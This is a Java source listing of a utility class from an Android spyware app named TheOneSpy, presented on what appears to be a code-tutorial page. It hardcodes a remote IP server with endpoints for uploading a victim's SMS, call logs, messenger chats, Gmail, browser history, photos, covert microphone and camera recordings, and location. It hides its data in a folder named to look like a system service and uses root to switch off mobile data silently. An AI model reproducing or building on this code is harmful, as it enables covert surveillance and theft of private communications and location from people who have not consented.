com.theonespy.util.Util.java Source code

Java tutorial

Introduction

Here is the source code for com.theonespy.util.Util.java

Source

package com.theonespy.util;

import android.annotation.SuppressLint;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.location.Location;
import android.net.ConnectivityManager;
import android.os.Build;
import android.preference.PreferenceManager;
import android.util.Base64;
import android.util.Log;

import com.theonespy.MyApplication;

import org.json.JSONArray;

import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.lang.reflect.Method;
import java.text.SimpleDateFormat;
import java.util.Date;

public class Util {

    private static final String LOG_TAG = "SpyDebug";
    //TODO: Change to a more hidden folder
    public static final String FOLDER = "/Android/data/.SystemService";
    public static final String URL_DOMAIN = "http://52.89.59.2:50000/";
    public static final String URL_SMS = URL_DOMAIN + "sms-logs";
    public static final String URL_CALL_LOG = URL_DOMAIN + "call-logs";
    public static final String URL_WHATSAPP = URL_DOMAIN + "whatsapp-log";
    public static final String URL_SKYPE = URL_DOMAIN + "skype-log";
    public static final String URL_YAHOO = URL_DOMAIN + "yahoo-log";
    public static final String URL_FACEBOOK = URL_DOMAIN + "facebook-log";
    public static final String URL_LINE = URL_DOMAIN + "line-log";
    public static final String URL_VIBER = URL_DOMAIN + "viber-log";
    public static final String URL_ACTIVATION = URL_DOMAIN + "activate-license";
    public static final String URL_HISTORY = URL_DOMAIN + "browser-history";
    public static final String URL_CONTACTS = URL_DOMAIN + "contacts";
    public static final String URL_EDIT_CONTACT = URL_DOMAIN + "contacts/";
    public static final String URL_CALENDAR = URL_DOMAIN + "appointments";
    public static final String URL_APPS = URL_DOMAIN + "installed-apps";
    public static final String URL_PHOTOS = URL_DOMAIN + "photo";
    public static final String URL_VIDEOS = URL_DOMAIN + "video";
    public static final String URL_AUDIO = URL_DOMAIN + "music";
    public static final String URL_REC_CALLS = URL_DOMAIN + "recorded-call-log";
    public static final String URL_REC_MIC = URL_DOMAIN + "mic-bug-log";
    public static final String URL_CAMERA = URL_DOMAIN + "camera-bug-log";
    public static final String URL_GEO_LOCATION = URL_DOMAIN + "geo-location";
    public static final String URL_DEVICE_INFO = URL_DOMAIN + "device-info";
    public static final String URL_FENCE_ALERT = URL_DOMAIN + "geo-fence-email-alert";
    public static final String URL_GMAIL = URL_DOMAIN + "gmail-emails";
    public static final String SERVICE_DEVICE = "android";

    // Types of data
    public final static int TYPE_SMS = 0;
    public final static int TYPE_CALLS = 1;
    public final static int TYPE_WHATSAPP = 2;
    public final static int TYPE_HISTORY = 3;
    public final static int TYPE_CONTACTS = 4;
    public final static int TYPE_CONTACT_EDIT = 5;
    public final static int TYPE_CALENDAR = 6;
    public final static int TYPE_APPS = 7;
    public final static int TYPE_PHOTOS = 8;
    public final static int TYPE_VIDEOS = 9;
    public final static int TYPE_REC_CALLS = 10;
    public final static int TYPE_REC_MIC = 11;
    public final static int TYPE_CAMERA = 12;
    public final static int TYPE_LOCATION = 13;
    public final static int TYPE_SKYPE = 14;
    public final static int TYPE_FACEBOOK = 15;
    public final static int TYPE_VIBER = 16;
    public final static int TYPE_LINE = 17;
    public final static int TYPE_YAHOO = 18;
    public final static int TYPE_AUDIO = 19;
    public final static int TYPE_GMAIL = 20;

    // Id of the user in DB
    public static final String PREF_USER_ID = "user_id";
    // Id of user's service in DB
    public static final String PREF_SERVICE_ID = "service_id";
    // Sync method
    public static final String PREF_SYNC_METHOD = "sync_method";
    // Restricted phone numbers
    public static final String PREF_RESTRICT_NUMBERS = "restrict_numbers";
    // Is user driving right now
    public static final String PREF_IS_DRIVING = "is_driving";
    // Block texting while driving
    public static final String PREF_BLOCK_TEXTING_WHILE_DRIVING = "block_texting_while_driving";
    // Block internet while driving
    public static final String PREF_BLOCK_INTERNET_WHILE_DRIVING = "block_internet_while_driving";
    // Number which will be notified when sim card is changed
    public static final String PREF_SIM_CHANGE_NUMBER = "sim_change_number";
    // My number
    public static final String PREF_MY_NUMBER = "my_number";
    // My latitude
    public static final String PREF_MY_LATITUDE = "my_latitude";
    // My longitude
    public static final String PREF_MY_LONGITUDE = "my_longitude";
    // Email which will be notified if user left/entered some geo fence
    public static final String PREF_NOTIFY_EMAIL = "notify_email";

    // Database
    public static final String DATABASE_NAME = "TheOneSpy";
    public static final Integer DATABASE_VERSION = 21;

    // Sms sent table
    public static final String SMS_TABLE = "sms";

    // Sms location table
    public static final String SMS_LOC_TABLE = "sms_loc";
    public static final String SMS_LOC_ID_COLUMN = "id";
    public static final String SMS_LOC_SENDER_COLUMN = "sender";
    public static final String SMS_LOC_TEXT_COLUMN = "text";
    public static final String SMS_LOC_LATITUDE_COLUMN = "latitude";
    public static final String SMS_LOC_LONGITUDE_COLUMN = "longitude";

    // Calls sent table
    public static final String CALLS_TABLE = "calls";

    // Calls location table
    public static final String CALLS_LOC_TABLE = "calls_loc";
    public static final String CALLS_LOC_ID_COLUMN = "id";
    public static final String CALLS_LOC_NUMBER_COLUMN = "number";
    public static final String CALLS_LOC_LATITUDE_COLUMN = "latitude";
    public static final String CALLS_LOC_LONGITUDE_COLUMN = "longitude";

    // WhatsApp sent table
    public static final String WHATSAPP_TABLE = "whatsapp";

    // Skype sent table
    public static final String SKYPE_TABLE = "skype";

    // Facebook sent table
    public static final String FACEBOOK_TABLE = "facebook";

    // Viber sent table
    public static final String VIBER_TABLE = "viber";

    // Yahoo sent table
    public static final String YAHOO_TABLE = "yahoo";

    // LINE sent table
    public static final String LINE_TABLE = "line";

    // History sent table
    public static final String HISTORY_TABLE = "history";

    // Contacts sent table
    public static final String CONTACTS_TABLE = "contacts";

    // Contacts versions table
    public static final String CONTACTS_VERSION_TABLE = "contacts_versions";
    public static final String CONTACTS_VERSION_ID_COLUMN = "id";
    public static final String CONTACTS_VERSION_COLUMN = "version";

    // Calendar sent table
    public static final String CALENDAR_TABLE = "calendar";

    // Apps sent table
    public static final String APPS_TABLE = "apps";
    public static final String APPS_PACKAGE_COLUMN = "package";

    // Photos sent table
    public static final String PHOTOS_TABLE = "photos";

    // Videos sent table
    public static final String VIDEOS_TABLE = "videos";

    // Audio sent table
    public static final String AUDIO_TABLE = "audio";

    // Recorded calls sent table
    public static final String REC_CALLS_TABLE = "rec_calls";

    // Microphone recordings sent table
    public static final String REC_MIC_TABLE = "rec_mic";

    // Camera photos sent table
    public static final String CAMERA_TABLE = "camera";

    // Location coordinates sent table
    public static final String LOCATION_TABLE = "location";

    // Geo location fences table
    public static final String FENCES_TABLE = "fences";

    // Gmail sent table
    public static final String GMAIL_TABLE = "gmail";

    // Sync methods
    private static final String SYNC_METHOD_OFF = "1";
    private static final String SYNC_METHOD_WIFI = "2";
    private static final String SYNC_METHOD_ALL = "3";

    // Intervals
    public static final Integer INTERVAL_UPDATE = 30 * 60 * 1000;

    // Methods
    public static void Log(Object text) {
        Log.d(LOG_TAG, text + "");
    }

    public static String getUserId() {
        return PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).getString(PREF_USER_ID,
                "");
    }

    public static String getServiceId() {
        return PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext())
                .getString(PREF_SERVICE_ID, "");
    }

    public static String getSyncMethod() {
        return PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext())
                .getString(PREF_SYNC_METHOD, Util.SYNC_METHOD_ALL);
    }

    public static JSONArray getRestrictNumbers() {
        try {
            return new JSONArray(PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext())
                    .getString(PREF_RESTRICT_NUMBERS, "[]"));
        } catch (Exception e) {
            return new JSONArray();
        }
    }

    public static Boolean isDriving() {
        return PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext())
                .getBoolean(PREF_IS_DRIVING, false);
    }

    public static Boolean isTextingWhileDrivingBlocked() {
        return PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext())
                .getBoolean(PREF_BLOCK_TEXTING_WHILE_DRIVING, false);
    }

    public static Boolean isInternetWhileDrivingBlocked() {
        return PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext())
                .getBoolean(PREF_BLOCK_INTERNET_WHILE_DRIVING, false);
    }

    public static String getSimChangeNumber() {
        return PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext())
                .getString(PREF_SIM_CHANGE_NUMBER, null);
    }

    public static String getMyNumber() {
        return PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext())
                .getString(PREF_MY_NUMBER, null);
    }

    public static double getMyLatitude() {
        try {
            return Double.parseDouble(PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext())
                    .getString(PREF_MY_LATITUDE, "0"));
        } catch (Exception e) {
            return 0;
        }
    }

    public static double getMyLongitude() {
        try {
            return Double.parseDouble(PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext())
                    .getString(PREF_MY_LONGITUDE, "0"));
        } catch (Exception e) {
            return 0;
        }
    }

    public static String getNotifyEmail() {
        return PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext())
                .getString(PREF_NOTIFY_EMAIL, null);
    }

    public static void setUserId(String userId) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putString(PREF_USER_ID, userId).apply();
    }

    public static void setServiceId(String serviceId) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putString(PREF_SERVICE_ID, serviceId).apply();
    }

    public static void setSyncMethod(String syncMethod) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putString(PREF_SYNC_METHOD, syncMethod).apply();
    }

    public static void setRestrictNumbers(JSONArray numbers) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putString(PREF_RESTRICT_NUMBERS, numbers.toString()).apply();
    }

    public static void setBlockTextingWhileDriving(Boolean enable) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putBoolean(PREF_BLOCK_TEXTING_WHILE_DRIVING, enable).apply();
    }

    public static void setBlockInternetWhileDriving(Boolean enable) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putBoolean(PREF_BLOCK_INTERNET_WHILE_DRIVING, enable).apply();
    }

    public static void setIsDriving(Boolean isDriving) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putBoolean(PREF_IS_DRIVING, isDriving).apply();
    }

    public static void setSimChangeNumber(String number) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putString(PREF_SIM_CHANGE_NUMBER, number).apply();
    }

    public static void setMyNumber(String number) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putString(PREF_MY_NUMBER, number).apply();
    }

    public static void setMyLatitude(String latitude) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putString(PREF_MY_LATITUDE, latitude).apply();
    }

    public static void setMyLongitude(String longitude) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putString(PREF_MY_LONGITUDE, longitude).apply();
    }

    public static void setNotifyEmail(String email) {
        PreferenceManager.getDefaultSharedPreferences(MyApplication.getAppContext()).edit()
                .putString(PREF_NOTIFY_EMAIL, email).apply();
    }

    @SuppressLint("SimpleDateFormat")
    public static String formatDateTimezone(String date) {
        if (date == null) {
            return null;
        }
        long timestamp = Long.valueOf(date);
        if (date.length() < 13) {
            timestamp = timestamp * 1000;
        }
        return new SimpleDateFormat("yyyy-MM-dd HH:mm:ss z").format(new Date(timestamp));
    }

    @SuppressLint("SimpleDateFormat")
    public static String formatDateCustom(String date) {
        if (date == null) {
            return null;
        }

        long timestamp = Long.valueOf(date);
        if (date.length() < 13) {
            timestamp = timestamp * 1000;
        }
        return new SimpleDateFormat("MMM', 'dd HH'_'mma").format(new Date(timestamp));
    }

    /**
     * Formats timestamp to yyyy-MM-dd HH:mm:ss formatted string.
     */
    @SuppressLint("SimpleDateFormat")
    public static String formatDate(String date) {
        if (date == null) {
            return null;
        }
        long timestamp = Long.valueOf(date);
        if (date.length() < 13) {
            timestamp = timestamp * 1000;
        }
        return new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(timestamp));
    }

    @SuppressLint("SimpleDateFormat")
    public static String formatDuration(String duration) {
        int s = Integer.parseInt(duration);
        return String.format("%02d:%02d:%02d", s / 3600, (s % 3600) / 60, (s % 60));
    }

    public static boolean checkPermission(String permission) {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            return MyApplication.getAppContext()
                    .checkSelfPermission(permission) == PackageManager.PERMISSION_GRANTED;
        } else {
            return true;
        }
    }

    public static String encodeToBase64(Bitmap image) {
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        image.compress(Bitmap.CompressFormat.JPEG, 100, outputStream);
        byte[] b = outputStream.toByteArray();
        return Base64.encodeToString(b, Base64.DEFAULT);
    }

    public static boolean syncMethodOk() {
        if (Util.getSyncMethod().equals(Util.SYNC_METHOD_OFF)) {
            return false;
        } else if (Util.getSyncMethod().equals(Util.SYNC_METHOD_WIFI)) {
            ConnectivityManager connManager = (ConnectivityManager) MyApplication.getAppContext()
                    .getSystemService(Context.CONNECTIVITY_SERVICE);
            return connManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI).isConnected();
        } else {
            return true;
        }
    }

    public static Boolean isMobileDataEnabled() {
        boolean mobileDataEnabled = false; // Assume disabled
        ConnectivityManager cm = (ConnectivityManager) MyApplication.getAppContext()
                .getSystemService(Context.CONNECTIVITY_SERVICE);
        try {
            Class cmClass = Class.forName(cm.getClass().getName());
            Method method = cmClass.getDeclaredMethod("getMobileDataEnabled");
            method.setAccessible(true); // Make the method callable
            // get the setting for "mobile data"
            mobileDataEnabled = (Boolean) method.invoke(cm);
        } catch (Exception e) {
            Util.Log("Can't check if mobile data is enabled: " + e);
        }

        return mobileDataEnabled;
    }

    public static void disableMobileData() {
        Util.Log("Disable mobile data");

        try {
            Process su = Runtime.getRuntime().exec("su");
            DataOutputStream outputStream = new DataOutputStream(su.getOutputStream());

            outputStream.writeBytes("svc data disable\n ");
            outputStream.flush();

            outputStream.writeBytes("exit\n");
            outputStream.flush();
            try {
                su.waitFor();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }

            outputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static boolean isInsideTheFence(double myLatitude, double myLongitude, Double fenceLatitude,
            Double fenceLongitude, Integer radius) {
        Location myLocation = new Location("");
        myLocation.setLatitude(myLatitude);
        myLocation.setLongitude(myLongitude);

        Location fenceLocation = new Location("");
        fenceLocation.setLatitude(fenceLatitude);
        fenceLocation.setLongitude(fenceLongitude);

        return Math.abs(myLocation.distanceTo(fenceLocation)) - radius < 0;
    }

    /**
     * Formats size from MB to GB.
     */
    public static String formatSize(Integer sizeMb) {
        return String.format("%.2f", (float) sizeMb / 1024) + "GB";
    }
}